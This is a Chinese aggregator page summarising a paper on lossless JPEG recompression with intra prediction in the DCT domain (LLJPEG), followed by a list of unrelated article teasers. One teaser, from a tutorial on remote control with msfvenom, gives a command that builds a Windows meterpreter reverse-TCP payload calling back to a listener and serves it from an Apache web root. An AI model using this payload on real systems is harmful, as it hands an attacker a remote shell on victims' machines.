Lossless Recompression of JPEG Images Using Transform Domain Intra Prediction

news/2025/3/19 15:02:16/文章来源:https://www.cnblogs.com/CLGYPYJ/p/18180324

目录
  • 简介
  • 引入
  • 文章贡献
  • 对 DCT 系数残差进行编码比对原始 DCT 系数进行编码更有利于压缩
  • 模型框架
    • 模型的应用场景
    • null

简介

\(\quad\)JPEG图像编码格式由于其简单高效在各种设备和网站上被广泛使用,随着互联网的发展和移动设备的普及大量用户生成的JPEG图像被上传到各社交网站或者储存在个人设备上。以上原因导致图像储存成本的增加。
但JPEG与性能与最先进的编码方法相差甚远。如果能在保存图像原有信息的前提下对这些JPEG图像再压缩,将会缩减储存成本。
该文章提出了一张变换域(DCT系数域)内预测的JPEG图像无损再压缩混合编码框架,框架包括:块划分和内预测、变换、量化以及熵编码。实验结果表明,LLJPEG在Kodak和DIV 2K数据集上的存储空间分别减少了29.43%和26.40%,且对JPEG图像没有任何损失,同时保持了较低的解码复杂度

引入

有损JPEG压缩会导致信息的永久性丢失,在医学研究和刑事犯罪等领域,这是不可接受的。因此该文章关注于JEPG图像的无损再压缩,着力于减少JPEG文件中变换系数(DCT系数)的冗余。

文章贡献

  1. 与 HEVC 或 VVC 在空间域减少块间冗余不同,LLJPEG 在变换域使用内部预测来减少块间冗余。
  2. 为提高性能,提出了一些新的内部预测编码工具,如 DC 模式的新决策和内部预测后的滤波(与原数据做差)。此外,还提出了两阶段内部预测模式决策,以降低编码复杂度
  3. 重新设计了熵编码,包括变换残差的重组、跳过标志的编码和系数扫描顺序。

对 DCT 系数残差进行编码比对原始 DCT 系数进行编码更有利于压缩

我们做了以下实验。首先,对于一个 8 × 8 块,有四种模式: 在内部预测中应用 HEVC 中的直流、平面、垂直和水平四种模式,得到四个预测块。然后,对预测块进行 DCT 和量化(基于从 JPEG 文件中提取的量化表),得到预测的 DCT 系数块。然后,从相应的原始系数中减去每个预测 DCT 系数块中的预测 DCT 系数,得到四个 DCT 系数残差块。最后,选出平方误差之和最小的 DCT 系数残差块。其分布如图 3 所示,。可以看出,DCT 系数残差的分布更集中在 0 处,更有利于压缩。
image

模型框架

模型的应用场景

作为一个贴在云外部的外接软件,将云上存储的图像进一步压缩。
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/821785.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国产!瑞芯微米尔RK357核心板革新AIoT设备,8核6T高算力

随着科技的快速发展,AIoT智能终端对嵌入式模块的末端计算能力、数据处理能力等要求日益提高。近日,米尔电子发布了一款基于瑞芯微RK3576核心板和开发板。核心板提供4GB/8GB LPDDR4X、32GB/64GB eMMC等多个型号供选择。瑞芯微RK3576核心优势主要包括高性能数据处理能力、领先的…

苹果的AirPods和其他品牌无线耳机有什么区别_1

苹果的AIrPods自推出以来就在无线耳机市场上引起了广泛关注,它们以其独特的设计、无缝的设备集成和优质的用户体验而著称。本文将探讨AirPods与其他品牌无线耳机的主要差异有:1.设计和舒适度;2.音质和性能;3.价格和价值;4.电池寿命和充电;5.兼容性和功能;6.附加功能;7.…

苹果M1芯片和Intel芯片在性能上有哪些差异

苹果M1芯片和Intel芯片的性能差异显著,主要体现在以下几个方面:1. 架构设计不同;2. 性能与效率平衡不同;3. 图形处理能力不同;4. AI和机器学习性能不同;5. 能耗和热管理不同;6. 兼容性和多任务处理不同。M1芯片作为苹果公司自研的首款ARM架构芯片,与Intel的x86架构芯片…

vs编译项目失败,提示 要求“SourceRoot”路径以斜杠或反斜杠结尾

vs编译项目失败,提示 要求“SourceRoot”路径以斜杠或反斜杠结尾处理办法从git上下载部分项目编译时出现错误,提示如下: 严重性 代码 说明 项目 文件 行 禁止显示状态 详细信息错误(活动) 要求“SourceRoot”路径以斜杠或反斜杠结尾:“E:\dev_tools\.nuget\packages” MahA…

深入理解偏向锁、轻量级锁、重量级锁

一、对象结构和锁状态 synchronized关键字是java中的内置锁实现,内置锁实际上就是个任意对象,其内存结构如下图所示其中,Mark Word字段在64位虚拟机下占64bit长度,其结构如下所示可以看到Mark Word字段有个很重要的作用就是记录当前对象锁状态,最后3bit字段用来标记当前锁…

RAW格式和JPG格式有什么区别

RAW格式和JPG格式的区别主要包括:1.数据保存形式不同;2.编辑灵活性不同;3.文件大小和存储空间不同;4.颜色深度差异;5.适用场景不同;6.兼容性差异;7.输出质量的对比。其中,数据保存形式的差异是二者之间的核心区别,RAW为未经压缩处理的原始数据,而JPG则是有损压缩后的…

利用msfvenom远程控制

(NAT模式)在kali上先ifconfig得到kali的ip地址192.168.75.133 构建 `msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.75.133 lport=5000 -f exe -o /root/payload.exe 先转到/root 然后把这个文件放在apache的网站下 cd /root `cp payload.exe /var/www/html 启动…

解决:AssertionError: Label class 1 exceeds nc=1 in data/coco128.yaml. Possible class labels are 0-0

这个基本上是标签有问题 大概率是标签txt文件内的编号不正确导致的 编号大于nc数就会报这个错误

华企盾【运维利器】PowerShell自动磁盘清理脚本代码

在日常工作中,磁盘空间不足是一个常见且令人头疼的问题。为了解决这一问题,我们可以使用PowerShell编写一个自动磁盘清理脚本。 该脚本旨在监控特定目录(如E: est),并在可用空间低于设定阈值(20%)时自动删除最旧的文件,以确保磁盘空间的有效利用。 脚本的基本逻辑是每分…

我新上线的小程序功能:生日备注

功能作用:记录亲朋好友的生日信息、还有多少天生日、多少岁。 背景:因为记不住亲人的出生日期和多少岁和还有多久生日,用记事本也只能记录一串文字,不是特别方便,所以自己从零开发了这样一个小功能,能帮助自己记录亲人的生日信息。 框架:uniapp、云开发,我的这套框架可…

java第一次到第三次大作业总结

目录: 一、关于面向对象 二、三次大作业设计 ** 2.1相关知识** ** 2.2类图+大作业实现讲解+大作业时序图** 三、三次大作业中踩坑心得 四、修改建议 五、总的心得体悟 一、关于面向对象: 这个学期是我们第一次接触面向对象的这个概念,在接触java之前,我们所用到的基本上都…

摄像机实时接入分析平台视频分析网关烟火检测在校园消防安全场景中的应用

随着人工智能技术的不断进步,视频分析网关烟火检测的应用为校园消防安全带来了巨大变革。通过实时接入摄像机视频流,结合先进的烟火检测算法,这一平台不仅极大地提升了火灾预警的准确性和响应速度,还为校园安全管理提供了一种全新的智能化解决方案。 在校园消防安全场景中,…